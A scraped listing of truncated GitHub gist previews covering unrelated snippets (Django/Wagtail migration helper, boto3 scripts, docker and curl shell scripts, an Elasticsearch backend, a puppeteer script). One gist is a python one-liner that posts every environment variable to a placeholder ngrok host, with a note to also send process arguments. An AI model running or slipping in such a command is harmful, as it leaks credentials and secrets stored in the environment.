This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def add_child_page(parent_page, instance): | |
""" | |
Mimic the behavior of the "add_child" from Django treebeard. | |
We can't use `parent_page.add_child(instance=child_page)` inside of | |
migrations because historical models don't have access to class | |
methods. This replicates the behavior of `add_child` by calculating | |
the treebeard path, path depth and url path. | |
https://django-treebeard.readthedocs.io/en/latest/api.html#treebeard.models.Node.add_child |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://craftcms.stackexchange.com/questions/13584/devmode-phpdotenv-variable-ignored | |
'devMode' => filter_var(getenv('DEV_MODE') ?: false, FILTER_VALIDATE_BOOLEAN), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HSPD=20000 | |
LSPD=1000 | |
ACC=300 | |
DEC=300 | |
EO=3 | |
WHILE 1 = 1 | |
X50000 | |
Y50000 | |
WAITX | |
WAITY |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
import json | |
import boto3 | |
import argparse | |
import time | |
lambda_client = boto3.client('lambda') | |
function_choices = [f['FunctionName'] for f in lambda_client.list_functions()['Functions']] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Send system env vars | |
python2 -c "import os, urllib; urllib.urlopen('https://NGROK_URL', data=urllib.urlencode(os.environ))" | |
# Send all running processes with arguments & env vars for process | |
# @TODO |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import base64 | |
import struct | |
import boto3 | |
import paramiko | |
from paramiko.util import deflate_long | |
PEM_FILEPATH = '~/.ssh/test-key.pem' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
set -e | |
DOCKER_COMPOSE_SERVICE_NAME=db | |
CONTAINER_ID=`docker-compose ps -q $DOCKER_COMPOSE_SERVICE_NAME` | |
FULL_VOLUME_NAME=`docker inspect --format='{{range .Mounts}}{{.Name}} {{end}}' $CONTAINER_ID` | |
docker volume rm $FULL_VOLUME_NAME |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
set -o errexit | |
curl --fail --show-error --location http://httpbin.org/status/200 > /dev/null | |
echo "It worked!" | |
curl --fail --show-error --location http://httpbin.org/status/500 > /dev/null | |
echo "It failed, but you will never see this message." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""Elasticsearch backend that enables fuzzy search to all plaintext queries.""" | |
from wagtail.search.backends.elasticsearch6 import (Elasticsearch6SearchBackend, | |
Elasticsearch6SearchQueryCompiler) | |
class ElasticsearchQueryCompilerWithFuzziness(Elasticsearch6SearchQueryCompiler): | |
""" | |
Copy of Elasticsearch6SearchQueryCompiler class with a modified default query. | |
Adds the "fuzziness" parameter to all queries so that we can return inexact | |
matches for misspellings, etc. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// By jonashaag https://github.com/isaacs/github/issues/410#issuecomment-442248565 | |
const child_process = require('child_process') | |
const puppeteer = require('puppeteer') | |
const devices = require('puppeteer/DeviceDescriptors') | |
const iPhone = devices['iPhone 6'] | |
const USER = 'youruser' | |
const PW = 'xxxxxx' |